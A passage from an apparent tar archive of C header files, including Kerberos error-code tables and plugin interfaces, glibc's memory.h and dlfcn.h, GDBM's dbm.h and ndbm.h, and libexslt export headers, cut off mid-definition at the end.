initialize_kdb5_error_table #define kdb5_err_base ERROR_TABLE_BASE_kdb5 /* * et-h-kv5m_err.h: * This file is automatically generated; please do not edit it. */ #include <et/com_err.h> #define KV5M_NONE (-1760647424L) #define KV5M_PRINCIPAL (-1760647423L) #define KV5M_DATA (-1760647422L) #define KV5M_KEYBLOCK (-1760647421L) #define KV5M_CHECKSUM (-1760647420L) #define KV5M_ENCRYPT_BLOCK (-1760647419L) #define KV5M_ENC_DATA (-1760647418L) #define KV5M_CRYPTOSYSTEM_ENTRY (-1760647417L) #define KV5M_CS_TABLE_ENTRY (-1760647416L) #define KV5M_CHECKSUM_ENTRY (-1760647415L) #define KV5M_AUTHDATA (-1760647414L) #define KV5M_TRANSITED (-1760647413L) #define KV5M_ENC_TKT_PART (-1760647412L) #define KV5M_TICKET (-1760647411L) #define KV5M_AUTHENTICATOR (-1760647410L) #define KV5M_TKT_AUTHENT (-1760647409L) #define KV5M_CREDS (-1760647408L) #define KV5M_LAST_REQ_ENTRY (-1760647407L) #define KV5M_PA_DATA (-1760647406L) #define KV5M_KDC_REQ (-1760647405L) #define KV5M_ENC_KDC_REP_PART (-1760647404L) #define KV5M_KDC_REP (-1760647403L) #define KV5M_ERROR (-1760647402L) #define KV5M_AP_REQ (-1760647401L) #define KV5M_AP_REP (-1760647400L) #define KV5M_AP_REP_ENC_PART (-1760647399L) #define KV5M_RESPONSE (-1760647398L) #define KV5M_SAFE (-1760647397L) #define KV5M_PRIV (-1760647396L) #define KV5M_PRIV_ENC_PART (-1760647395L) #define KV5M_CRED (-1760647394L) #define KV5M_CRED_INFO (-1760647393L) #define KV5M_CRED_ENC_PART (-1760647392L) #define KV5M_PWD_DATA (-1760647391L) #define KV5M_ADDRESS (-1760647390L) #define KV5M_KEYTAB_ENTRY (-1760647389L) #define KV5M_CONTEXT (-1760647388L) #define KV5M_OS_CONTEXT (-1760647387L) #define KV5M_ALT_METHOD (-1760647386L) #define KV5M_ETYPE_INFO_ENTRY (-1760647385L) #define KV5M_DB_CONTEXT (-1760647384L) #define KV5M_AUTH_CONTEXT (-1760647383L) #define KV5M_KEYTAB (-1760647382L) #define KV5M_RCACHE (-1760647381L) #define KV5M_CCACHE (-1760647380L) #define KV5M_PREAUTH_OPS (-1760647379L) #define KV5M_SAM_CHALLENGE (-1760647378L) #define KV5M_SAM_CHALLENGE_2 (-1760647377L) #define KV5M_SAM_KEY (-1760647376L) #define KV5M_ENC_SAM_RESPONSE_ENC (-1760647375L) #define KV5M_ENC_SAM_RESPONSE_ENC_2 (-1760647374L) #define KV5M_SAM_RESPONSE (-1760647373L) #define KV5M_SAM_RESPONSE_2 (-1760647372L) #define KV5M_PREDICTED_SAM_RESPONSE (-1760647371L) #define KV5M_PASSWD_PHRASE_ELEMENT (-1760647370L) #define KV5M_GSS_OID (-1760647369L) #define KV5M_GSS_QUEUE (-1760647368L) #define KV5M_FAST_ARMORED_REQ (-1760647367L) #define KV5M_FAST_REQ (-1760647366L) #define KV5M_FAST_RESPONSE (-1760647365L) #define KV5M_AUTHDATA_CONTEXT (-1760647364L) extern const struct error_table et_kv5m_error_table; extern void initialize_kv5m_error_table(void); /* For compatibility with Heimdal */ extern void initialize_kv5m_error_table_r(struct et_list **list); #define ERROR_TABLE_BASE_kv5m (-1760647424L) /* for compatibility with older versions... */ #define init_kv5m_err_tbl initialize_kv5m_error_table #define kv5m_err_base ERROR_TABLE_BASE_kv5m /* * et-h-krb524_err.h: * This file is automatically generated; please do not edit it. */ #include <et/com_err.h> #define KRB524_BADKEY (-1750206208L) #define KRB524_BADADDR (-1750206207L) #define KRB524_BADPRINC (-1750206206L) #define KRB524_BADREALM (-1750206205L) #define KRB524_V4ERR (-1750206204L) #define KRB524_ENCFULL (-1750206203L) #define KRB524_DECEMPTY (-1750206202L) #define KRB524_NOTRESP (-1750206201L) #define KRB524_KRB4_DISABLED (-1750206200L) extern const struct error_table et_k524_error_table; extern void initialize_k524_error_table(void); /* For compatibility with Heimdal */ extern void initialize_k524_error_table_r(struct et_list **list); #define ERROR_TABLE_BASE_k524 (-1750206208L) /* for compatibility with older versions... */ #define init_k524_err_tbl initialize_k524_error_table #define k524_err_base ERROR_TABLE_BASE_k524 /* * et-h-asn1_err.h: * This file is automatically generated; please do not edit it. */ #include <et/com_err.h> #define ASN1_BAD_TIMEFORMAT (1859794432L) #define ASN1_MISSING_FIELD (1859794433L) #define ASN1_MISPLACED_FIELD (1859794434L) #define ASN1_TYPE_MISMATCH (1859794435L) #define ASN1_OVERFLOW (1859794436L) #define ASN1_OVERRUN (1859794437L) #define ASN1_BAD_ID (1859794438L) #define ASN1_BAD_LENGTH (1859794439L) #define ASN1_BAD_FORMAT (1859794440L) #define ASN1_PARSE_ERROR (1859794441L) #define ASN1_BAD_GMTIME (1859794442L) #define ASN1_MISMATCH_INDEF (1859794443L) #define ASN1_MISSING_EOC (1859794444L) #define ASN1_OMITTED (1859794445L) extern const struct error_table et_asn1_error_table; extern void initialize_asn1_error_table(void); /* For compatibility with Heimdal */ extern void initialize_asn1_error_table_r(struct et_list **list); #define ERROR_TABLE_BASE_asn1 (1859794432L) /* for compatibility with older versions... */ #define init_asn1_err_tbl initialize_asn1_error_table #define asn1_err_base ERROR_TABLE_BASE_asn1 #endif /* KRB5_KRB5_H_INCLUDED */ krb5/ccselect_plugin.h 0000644 00000010165 15246445047 0010741 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright (C) 2011 by the Massachusetts Institute of Technology. * All rights reserved. * * Export of this software from the United States of America may * require a specific license from the United States Government. * It is the responsibility of any person or organization contemplating * export to obtain such a license before exporting. * * WITHIN THAT CONSTRAINT, permission to use, copy, modify, and * distribute this software and its documentation for any purpose and * without fee is hereby granted, provided that the above copyright * notice appear in all copies and that both that copyright notice and * this permission notice appear in supporting documentation, and that * the name of M.I.T. not be used in advertising or publicity pertaining * to distribution of the software without specific, written prior * permission. Furthermore if you modify this software you must label * your software as modified software and not distribute it in such a * fashion that it might be confused with the original M.I.T. software. * M.I.T. makes no representations about the suitability of * this software for any purpose. It is provided "as is" without express * or implied warranty. */ /* * Declarations for credential cache selection module implementors. * * The ccselect pluggable interface currently has only one supported major * version, which is 1. Major version 1 has a current minor version number of * 1. * * Credential cache selection modules should define a function named * ccselect_<modulename>_initvt, matching the signature: * * krb5_error_code * ccselect_modname_initvt(krb5_context context, int maj_ver, int min_ver, * krb5_plugin_vtable vtable); * * The initvt function should: * * - Check that the supplied maj_ver number is supported by the module, or * return KRB5_PLUGIN_VER_NOTSUPP if it is not. * * - Cast the vtable pointer as appropriate for maj_ver: * maj_ver == 1: Cast to krb5_ccselect_vtable * * - Initialize the methods of the vtable, stopping as appropriate for the * supplied min_ver. Optional methods may be left uninitialized. * * Memory for the vtable is allocated by the caller, not by the module. */ #ifndef KRB5_CCSELECT_PLUGIN_H #define KRB5_CCSELECT_PLUGIN_H #include <krb5/krb5.h> #include <krb5/plugin.h> /* An abstract type for credential cache selection module data. */ typedef struct krb5_ccselect_moddata_st *krb5_ccselect_moddata; #define KRB5_CCSELECT_PRIORITY_AUTHORITATIVE 2 #define KRB5_CCSELECT_PRIORITY_HEURISTIC 1 /*** Method type declarations ***/ /* * Mandatory: Initialize module data and set *priority_out to one of the * KRB5_CCSELECT_PRIORITY constants above. Authoritative modules will be * consulted before heuristic ones. */ typedef krb5_error_code (*krb5_ccselect_init_fn)(krb5_context context, krb5_ccselect_moddata *data_out, int *priority_out); /* * Mandatory: Select a cache based on a server principal. Return 0 on success, * with *cache_out set to the selected cache and *princ_out set to its default * principal. Return KRB5_PLUGIN_NO_HANDLE to defer to other modules. Return * KRB5_CC_NOTFOUND with *princ_out set if the client principal can be * authoritatively determined but no cache exists for it. Return other errors * as appropriate. */ typedef krb5_error_code (*krb5_ccselect_choose_fn)(krb5_context context, krb5_ccselect_moddata data, krb5_principal server, krb5_ccache *cache_out, krb5_principal *princ_out); /* Optional: Release resources used by module data. */ typedef void (*krb5_ccselect_fini_fn)(krb5_context context, krb5_ccselect_moddata data); /*** vtable declarations **/ /* Credential cache selection plugin vtable for major version 1. */ typedef struct krb5_ccselect_vtable_st { const char *name; /* Mandatory: name of module. */ krb5_ccselect_init_fn init; krb5_ccselect_choose_fn choose; krb5_ccselect_fini_fn fini; /* Minor version 1 ends here. */ } *krb5_ccselect_vtable; #endif /* KRB5_CCSELECT_PLUGIN_H */ krb5/pwqual_plugin.h 0000644 00000010512 15246445047 0010461 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright (C) 2010 by the Massachusetts Institute of Technology. * All rights reserved. * * Export of this software from the United States of America may * require a specific license from the United States Government. * It is the responsibility of any person or organization contemplating * export to obtain such a license before exporting. * * WITHIN THAT CONSTRAINT, permission to use, copy, modify, and * distribute this software and its documentation for any purpose and * without fee is hereby granted, provided that the above copyright * notice appear in all copies and that both that copyright notice and * this permission notice appear in supporting documentation, and that * the name of M.I.T. not be used in advertising or publicity pertaining * to distribution of the software without specific, written prior * permission. Furthermore if you modify this software you must label * your software as modified software and not distribute it in such a * fashion that it might be confused with the original M.I.T. software. * M.I.T. makes no representations about the suitability of * this software for any purpose. It is provided "as is" without express * or implied warranty. */ /* * Declarations for password quality plugin module implementors. * * The password quality pluggable interface currently has only one supported * major version, which is 1. Major version 1 has a current minor version * number of 1. * * Password quality plugin modules should define a function named * pwqual_<modulename>_initvt, matching the signature: * * krb5_error_code * pwqual_modname_initvt(krb5_context context, int maj_ver, int min_ver, * krb5_plugin_vtable vtable); * * The initvt function should: * * - Check that the supplied maj_ver number is supported by the module, or * return KRB5_PLUGIN_VER_NOTSUPP if it is not. * * - Cast the vtable pointer as appropriate for maj_ver: * maj_ver == 1: Cast to krb5_pwqual_vtable * * - Initialize the methods of the vtable, stopping as appropriate for the * supplied min_ver. Optional methods may be left uninitialized. * * Memory for the vtable is allocated by the caller, not by the module. */ #ifndef KRB5_PWQUAL_PLUGIN_H #define KRB5_PWQUAL_PLUGIN_H #include <krb5/krb5.h> #include <krb5/plugin.h> #include <kadm5/admin.h> /* An abstract type for password quality module data. */ typedef struct krb5_pwqual_moddata_st *krb5_pwqual_moddata; /*** Method type declarations ***/ /* Optional: Initialize module data. dictfile is the realm's configured * dictionary filename. */ typedef krb5_error_code (*krb5_pwqual_open_fn)(krb5_context context, const char *dict_file, krb5_pwqual_moddata *data); /* * Mandatory: Check a password for the principal princ, which has an associated * password policy named policy_name (or no associated policy if policy_name is * NULL). The parameter languages, if not NULL, contains a null-terminated * list of client-specified language tags as defined in RFC 5646. The method * should return one of the following errors if the password fails quality * standards: * * - KADM5_PASS_Q_TOOSHORT: password should be longer * - KADM5_PASS_Q_CLASS: password must have more character classes * - KADM5_PASS_Q_DICT: password contains dictionary words * - KADM5_PASS_Q_GENERIC: unspecified quality failure * * The module should also set an extended error message with * krb5_set_error_message(). The message may be localized according to one of * the language tags in languages. */ typedef krb5_error_code (*krb5_pwqual_check_fn)(krb5_context context, krb5_pwqual_moddata data, const char *password, const char *policy_name, krb5_principal princ, const char **languages); /* Optional: Release resources used by module data. */ typedef void (*krb5_pwqual_close_fn)(krb5_context context, krb5_pwqual_moddata data); /*** vtable declarations **/ /* Password quality plugin vtable for major version 1. */ typedef struct krb5_pwqual_vtable_st { const char *name; /* Mandatory: name of module. */ krb5_pwqual_open_fn open; krb5_pwqual_check_fn check; krb5_pwqual_close_fn close; /* Minor version 1 ends here. */ } *krb5_pwqual_vtable; #endif /* KRB5_PWQUAL_PLUGIN_H */ krb5/kadm5_hook_plugin.h 0000644 00000014021 15246445047 0011170 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright (C) 2010 by the Massachusetts Institute of Technology. * All rights reserved. * * Export of this software from the United States of America may * require a specific license from the United States Government. * It is the responsibility of any person or organization contemplating * export to obtain such a license before exporting. * * WITHIN THAT CONSTRAINT, permission to use, copy, modify, and * distribute this software and its documentation for any purpose and * without fee is hereby granted, provided that the above copyright * notice appear in all copies and that both that copyright notice and * this permission notice appear in supporting documentation, and that * the name of M.I.T. not be used in advertising or publicity pertaining * to distribution of the software without specific, written prior * permission. Furthermore if you modify this software you must label * your software as modified software and not distribute it in such a * fashion that it might be confused with the original M.I.T. software. * M.I.T. makes no representations about the suitability of * this software for any purpose. It is provided "as is" without express * or implied warranty. */ #ifndef H_KRB5_KADM5_HOOK_PLUGIN #define H_KRB5_KADM5_HOOK_PLUGIN /** * @file krb5/krb5_kadm5_hook_plugin.h * Provide a plugin interface for kadm5 operations. This interface * permits a plugin to intercept principal modification, creation and * change password operations. Operations run at two stages: a * precommit stage that runs before the operation is committed to the * database and a postcommit operation that runs after the database * is updated; see #kadm5_hook_stage for details on semantics. * * This interface is based on a proposed extension to Heimdal by Russ * Allbery; it is likely that Heimdal will adopt an approach based on * stacked kdb modules rather than this interface. For MIT, writing a * plugin to this interface is significantly easier than stacking kdb * modules. Also, the kadm5 interface is significantly more stable * than the kdb interface, so this approach is more desirable than * stacked kdb modules. * * This interface depends on kadm5/admin.h. As such, the interface * does not provide strong guarantees of ABI stability. * * The kadm5_hook interface currently has only one supported major version, * which is 1. Major version 1 has a current minor version number of 2. * * kadm5_hook plugins should: * kadm5_hook_<modulename>_initvt, matching the signature: * * krb5_error_code * kadm5_hook_modname_initvt(krb5_context context, int maj_ver, int min_ver, * krb5_plugin_vtable vtable); * * The initvt function should: * * - Check that the supplied maj_ver number is supported by the module, or * return KRB5_PLUGIN_VER_NOTSUPP if it is not. * * - Cast the vtable pointer as appropriate for maj_ver: * maj_ver == 1: Cast to kadm5_hook_vftable_1 * * - Initialize the methods of the vtable, stopping as appropriate for the * supplied min_ver. Optional methods may be left uninitialized. * * Memory for the vtable is allocated by the caller, not by the module. */ #include <krb5/krb5.h> #include <krb5/plugin.h> #include <kadm5/admin.h> /** * Whether the operation is being run before or after the database * update. */ enum kadm5_hook_stage { /** In this stage, any plugin failure prevents following plugins from * running and aborts the operation.*/ KADM5_HOOK_STAGE_PRECOMMIT, /** In this stage, plugin failures are logged but otherwise ignored.*/ KADM5_HOOK_STAGE_POSTCOMMIT }; /** Opaque module data pointer. */ typedef struct kadm5_hook_modinfo_st kadm5_hook_modinfo; /** * Interface for the v1 virtual table for the kadm5_hook plugin. * All entry points are optional. The name field must be provided. */ typedef struct kadm5_hook_vtable_1_st { /** A text string identifying the plugin for logging messages. */ const char *name; /** Initialize a plugin module. * @param modinfo returns newly allocated module info for future * calls. Cleaned up by the fini() function. */ kadm5_ret_t (*init)(krb5_context, kadm5_hook_modinfo **modinfo); /** Clean up a module and free @a modinfo. */ void (*fini)(krb5_context, kadm5_hook_modinfo *modinfo); /** Indicates that the password is being changed. * @param stage is an integer from #kadm5_hook_stage enumeration * @param keepold is true if existing keys are being kept. * @param newpass is NULL if the key sare being randomized. */ kadm5_ret_t (*chpass)(krb5_context, kadm5_hook_modinfo *modinfo, int stage, krb5_principal, krb5_boolean keepold, int n_ks_tuple, krb5_key_salt_tuple *ks_tuple, const char *newpass); /** Indicate a principal is created. */ kadm5_ret_t (*create)(krb5_context, kadm5_hook_modinfo *, int stage, kadm5_principal_ent_t, long mask, int n_ks_tuple, krb5_key_salt_tuple *ks_tuple, const char *password); /** Modify a principal. */ kadm5_ret_t (*modify)(krb5_context, kadm5_hook_modinfo *, int stage, kadm5_principal_ent_t, long mask); /** Indicate a principal is deleted. */ kadm5_ret_t (*remove)(krb5_context, kadm5_hook_modinfo *modinfo, int stage, krb5_principal); /* End of minor version 1. */ /** Indicate a principal is renamed. */ kadm5_ret_t (*rename)(krb5_context, kadm5_hook_modinfo *modinfo, int stage, krb5_principal, krb5_principal); /* End of minor version 2. */ } kadm5_hook_vftable_1; #endif /*H_KRB5_KADM5_HOOK_PLUGIN*/ memory.h 0000644 00000001673 15246445047 0006247 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * SVID */ #ifndef _MEMORY_H #define _MEMORY_H 1 #include <features.h> #ifndef _STRING_H # include <string.h> #endif /* string.h */ #endif /* memory.h */ dlfcn.h 0000644 00000016106 15246445047 0006022 0 ustar 00 /* User functions for run-time dynamic loading. Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _DLFCN_H #define _DLFCN_H 1 #include <features.h> #define __need_size_t #include <stddef.h> /* Collect various system dependent definitions and declarations. */ #include <bits/dlfcn.h> #ifdef __USE_GNU /* If the first argument of `dlsym' or `dlvsym' is set to RTLD_NEXT the run-time address of the symbol called NAME in the next shared object is returned. The "next" relation is defined by the order the shared objects were loaded. */ # define RTLD_NEXT ((void *) -1l) /* If the first argument to `dlsym' or `dlvsym' is set to RTLD_DEFAULT the run-time address of the symbol called NAME in the global scope is returned. */ # define RTLD_DEFAULT ((void *) 0) /* Type for namespace indeces. */ typedef long int Lmid_t; /* Special namespace ID values. */ # define LM_ID_BASE 0 /* Initial namespace. */ # define LM_ID_NEWLM -1 /* For dlmopen: request new namespace. */ #endif __BEGIN_DECLS /* Open the shared object FILE and map it in; return a handle that can be passed to `dlsym' to get symbol values from it. */ extern void *dlopen (const char *__file, int __mode) __THROWNL; /* Unmap and close a shared object opened by `dlopen'. The handle cannot be used again after calling `dlclose'. */ extern int dlclose (void *__handle) __THROWNL __nonnull ((1)); /* Find the run-time address in the shared object HANDLE refers to of the symbol called NAME. */ extern void *dlsym (void *__restrict __handle, const char *__restrict __name) __THROW __nonnull ((2)); #ifdef __USE_GNU /* Like `dlopen', but request object to be allocated in a new namespace. */ extern void *dlmopen (Lmid_t __nsid, const char *__file, int __mode) __THROWNL; /* Find the run-time address in the shared object HANDLE refers to of the symbol called NAME with VERSION. */ extern void *dlvsym (void *__restrict __handle, const char *__restrict __name, const char *__restrict __version) __THROW __nonnull ((2, 3)); #endif /* When any of the above functions fails, call this function to return a string describing the error. Each call resets the error string so that a following call returns null. */ extern char *dlerror (void) __THROW; #ifdef __USE_GNU /* Structure containing information about object searched using `dladdr'. */ typedef struct { const char *dli_fname; /* File name of defining object. */ void *dli_fbase; /* Load address of that object. */ const char *dli_sname; /* Name of nearest symbol. */ void *dli_saddr; /* Exact value of nearest symbol. */ } Dl_info; /* Fill in *INFO with the following information about ADDRESS. Returns 0 iff no shared object's segments contain that address. */ extern int dladdr (const void *__address, Dl_info *__info) __THROW __nonnull ((2)); /* Same as `dladdr', but additionally sets *EXTRA_INFO according to FLAGS. */ extern int dladdr1 (const void *__address, Dl_info *__info, void **__extra_info, int __flags) __THROW __nonnull ((2)); /* These are the possible values for the FLAGS argument to `dladdr1'. This indicates what extra information is stored at *EXTRA_INFO. It may also be zero, in which case the EXTRA_INFO argument is not used. */ enum { /* Matching symbol table entry (const ElfNN_Sym *). */ RTLD_DL_SYMENT = 1, /* The object containing the address (struct link_map *). */ RTLD_DL_LINKMAP = 2 }; /* Get information about the shared object HANDLE refers to. REQUEST is from among the values below, and determines the use of ARG. On success, returns zero. On failure, returns -1 and records an error message to be fetched with `dlerror'. */ extern int dlinfo (void *__restrict __handle, int __request, void *__restrict __arg) __THROW __nonnull ((1, 3)); /* These are the possible values for the REQUEST argument to `dlinfo'. */ enum { /* Treat ARG as `lmid_t *'; store namespace ID for HANDLE there. */ RTLD_DI_LMID = 1, /* Treat ARG as `struct link_map **'; store the `struct link_map *' for HANDLE there. */ RTLD_DI_LINKMAP = 2, RTLD_DI_CONFIGADDR = 3, /* Unsupported, defined by Solaris. */ /* Treat ARG as `Dl_serinfo *' (see below), and fill in to describe the directories that will be searched for dependencies of this object. RTLD_DI_SERINFOSIZE fills in just the `dls_cnt' and `dls_size' entries to indicate the size of the buffer that must be passed to RTLD_DI_SERINFO to fill in the full information. */ RTLD_DI_SERINFO = 4, RTLD_DI_SERINFOSIZE = 5, /* Treat ARG as `char *', and store there the directory name used to expand $ORIGIN in this shared object's dependency file names. */ RTLD_DI_ORIGIN = 6, RTLD_DI_PROFILENAME = 7, /* Unsupported, defined by Solaris. */ RTLD_DI_PROFILEOUT = 8, /* Unsupported, defined by Solaris. */ /* Treat ARG as `size_t *', and store there the TLS module ID of this object's PT_TLS segment, as used in TLS relocations; store zero if this object does not define a PT_TLS segment. */ RTLD_DI_TLS_MODID = 9, /* Treat ARG as `void **', and store there a pointer to the calling thread's TLS block corresponding to this object's PT_TLS segment. Store a null pointer if this object does not define a PT_TLS segment, or if the calling thread has not allocated a block for it. */ RTLD_DI_TLS_DATA = 10, /* Treat ARG as const ElfW(Phdr) **, and store the address of the program header array at that location. The dlinfo call returns the number of program headers in the array. */ RTLD_DI_PHDR = 11, RTLD_DI_MAX = 11 }; /* This is the type of elements in `Dl_serinfo', below. The `dls_name' member points to space in the buffer passed to `dlinfo'. */ typedef struct { char *dls_name; /* Name of library search path directory. */ unsigned int dls_flags; /* Indicates where this directory came from. */ } Dl_serpath; /* This is the structure that must be passed (by reference) to `dlinfo' for the RTLD_DI_SERINFO and RTLD_DI_SERINFOSIZE requests. */ typedef struct { size_t dls_size; /* Size in bytes of the whole buffer. */ unsigned int dls_cnt; /* Number of elements in `dls_serpath'. */ Dl_serpath dls_serpath[1]; /* Actually longer, dls_cnt elements. */ } Dl_serinfo; #endif /* __USE_GNU */ __END_DECLS #endif /* dlfcn.h */ dbm.h 0000644 00000002606 15246445047 0005476 0 ustar 00 /* dbm.h - The include file for dbm users. */ /* This file is part of GDBM, the GNU data base manager, by Philip A. Nelson. Copyright (C) 1990-2011, 2017-2018 Free Software Foundation, Inc. GDBM is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. GDBM is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with GDBM. If not, see <http://www.gnu.org/licenses/>. You may contact the author by: e-mail: phil@cs.wwu.edu us-mail: Philip A. Nelson Computer Science Department Western Washington University Bellingham, WA 98226 *************************************************************************/ #include <gdbm.h> /* These are the routines in dbm. */ extern int dbminit (char *file); extern datum fetch (datum key); extern int store (datum key, datum content); extern int delete (datum key); extern datum firstkey (void); extern datum nextkey (datum key); extern int dbmclose (void); ndbm.h 0000644 00000004626 15246445047 0005660 0 ustar 00 /* ndbm.h - The include file for ndbm users. */ /* This file is part of GDBM, the GNU data base manager, by Philip A. Nelson. Copyright (C) 1990-2011, 2017-2018 Free Software Foundation, Inc. GDBM is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. GDBM is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with GDBM. If not, see <http://www.gnu.org/licenses/>. You may contact the author by: e-mail: phil@cs.wwu.edu us-mail: Philip A. Nelson Computer Science Department Western Washington University Bellingham, WA 98226 *************************************************************************/ #include <gdbm.h> /* Parameters to dbm_store for simple insertion or replacement. */ #define DBM_INSERT GDBM_INSERT #define DBM_REPLACE GDBM_REPLACE /* The file information header. */ typedef struct { GDBM_FILE file; /* Actual gdbm file (held in the .pag file */ int dirfd; /* Descriptor of the .dir file */ datum _dbm_memory; /* Keeps the last returned key */ char *_dbm_fetch_val; /* Keeps the dptr of the last fetched datum */ gdbm_error _dbm_errno; /* Error code from the last failed call */ } DBM; /* Used internally by the library */ #define __gdbm_error_to_ndbm(dbm) \ do \ { \ if (gdbm_errno && gdbm_errno != GDBM_ITEM_NOT_FOUND) \ (dbm)->_dbm_errno = gdbm_errno; \ } \ while (0) /* These are the routines */ extern DBM *dbm_open (char *file, int flags, int mode); extern void dbm_close (DBM *dbf); extern datum dbm_fetch (DBM *dbf, datum key); extern int dbm_store (DBM *dbf, datum key, datum content, int flags); extern int dbm_delete (DBM *dbf, datum key); extern datum dbm_firstkey (DBM *dbf); extern datum dbm_nextkey (DBM *dbf); extern int dbm_error (DBM *dbf); extern void dbm_clearerr (DBM *dbf); extern int dbm_dirfno (DBM *dbf); extern int dbm_pagfno (DBM *dbf); extern int dbm_rdonly (DBM *dbf); libexslt/exsltexports.h 0000644 00000006467 15246445047 0011357 0 ustar 00 /* * exsltexports.h : macros for marking symbols as exportable/importable. * * See Copyright for the status of this software. * * igor@zlatkovic.com */ #ifndef __EXSLT_EXPORTS_H__ #define __EXSLT_EXPORTS_H__ /** * EXSLTPUBFUN, EXSLTPUBVAR, EXSLTCALL * * Macros which declare an exportable function, an exportable variable and * the calling convention used for functions. * * Please use an extra block for every platform/compiler combination when * modifying this, rather than overlong #ifdef lines. This helps * readability as well as the fact that different compilers on the same * platform might need different definitions. */ /** * EXSLTPUBFUN: * * Macros which declare an exportable function */ #define EXSLTPUBFUN /** * EXSLTPUBVAR: * * Macros which declare an exportable variable */ #define EXSLTPUBVAR extern /** * EXSLTCALL: * * Macros which declare the called convention for exported functions */ #define EXSLTCALL /** DOC_DISABLE */ /* Windows platform with MS compiler */ #if defined(_WIN32) && defined(_MSC_VER) #undef EXSLTPUBFUN #undef EXSLTPUBVAR #undef EXSLTCALL #if defined(IN_LIBEXSLT) && !defined(LIBEXSLT_STATIC) #define EXSLTPUBFUN __declspec(dllexport) #define EXSLTPUBVAR __declspec(dllexport) #else #define EXSLTPUBFUN #if !defined(LIBEXSLT_STATIC) #define EXSLTPUBVAR __declspec(dllimport) extern #else #define EXSLTPUBVAR extern #endif #endif #define EXSLTCALL __cdecl #if !defined _REENTRANT #define _REENTRANT #endif #endif /* Windows platform with Borland compiler */ #if defined(_WIN32) && defined(__BORLANDC__) #undef EXSLTPUBFUN #undef EXSLTPUBVAR #undef EXSLTCALL #if defined(IN_LIBEXSLT) && !defined(LIBEXSLT_STATIC) #define EXSLTPUBFUN __declspec(dllexport) #define EXSLTPUBVAR __declspec(dllexport) extern #else #define EXSLTPUBFUN #if !defined(LIBEXSLT_STATIC) #define EXSLTPUBVAR __declspec(dllimport) extern #else #define EXSLTPUBVAR extern #endif #endif #define EXSLTCALL __cdecl #if !defined _REENTRANT #define _REENTRANT #endif #endif /* Windows platform with GNU compiler (Mingw) */ #if defined(_WIN32) && defined(__MINGW32__) #undef EXSLTPUBFUN #undef EXSLTPUBVAR #undef EXSLTCALL /* #if defined(IN_LIBEXSLT) && !defined(LIBEXSLT_STATIC) */ #if !defined(LIBEXSLT_STATIC) #define EXSLTPUBFUN __declspec(dllexport) #define EXSLTPUBVAR __declspec(dllexport) extern #else #define EXSLTPUBFUN #if !defined(LIBEXSLT_STATIC) #define EXSLTPUBVAR __declspec(dllimport) extern #else #define EXSLTPUBVAR extern #endif #endif #define EXSLTCALL __cdecl #if !defined _REENTRANT #define _REENTRANT #endif #endif /* Cygwin platform, GNU compiler */ #if defined(_WIN32) && defined(__CYGWIN__) #undef EXSLTPUBFUN #undef EXSLTPUBVAR #undef EXSLTCALL #if defined(IN_LIBEXSLT) && !defined(LIBEXSLT_STATIC) #define EXSLTPUBFUN __declspec(dllexport) #define EXSLTPUBVAR __declspec(dllexport) #else #define EXSLTPUBFUN #if !defined(LIBEXSLT_STATIC) #define EXSLTPUBVAR __declspec(dllimport) extern #else #define EXSLTPUBVAR #endif #endif #define EXSLTCALL __cdecl #endif /* Compatibility */ #if !defined(LIBEXSLT_PUBLIC) #define LIBEXSLT_PUBLIC EXSLTPUBVAR #endif #endif /* __EXSLT_EXPORTS_H__ */ libexslt/exslt.h 0000644 00000005712 15246445047 0007722 0 ustar 00 #ifndef __EXSLT_H__ #define __EXSLT_H__ #include <libxml/tree.h> #include <libxml/xpath.h> #include "exsltexports.h" #include <libexslt/exsltconfig.h> #ifdef __cplusplus extern "C" { #endif EXSLTPUBVAR const char *exsltLibraryVersion; EXSLTPUBVAR const int exsltLibexsltVersion; EXSLTPUBVAR const int exsltLibxsltVersion; EXSLTPUBVAR const int exsltLibxmlVersion; /** * EXSLT_COMMON_NAMESPACE: * * Namespace for EXSLT common functions */ #define EXSLT_COMMON_NAMESPACE ((const xmlChar *) "http://exslt.org/common") /** * EXSLT_CRYPTO_NAMESPACE: * * Namespace for EXSLT crypto functions */ #define EXSLT_CRYPTO_NAMESPACE ((const xmlChar *) "http://exslt.org/crypto") /** * EXSLT_MATH_NAMESPACE: * * Namespace for EXSLT math functions */ #define EXSLT_MATH_NAMESPACE ((const xmlChar *) "http://exslt.org/math") /** * EXSLT_SETS_NAMESPACE: * * Namespace for EXSLT set functions */ #define EXSLT_SETS_NAMESPACE ((const xmlChar *) "http://exslt.org/sets") /** * EXSLT_FUNCTIONS_NAMESPACE: * * Namespace for EXSLT functions extension functions */ #define 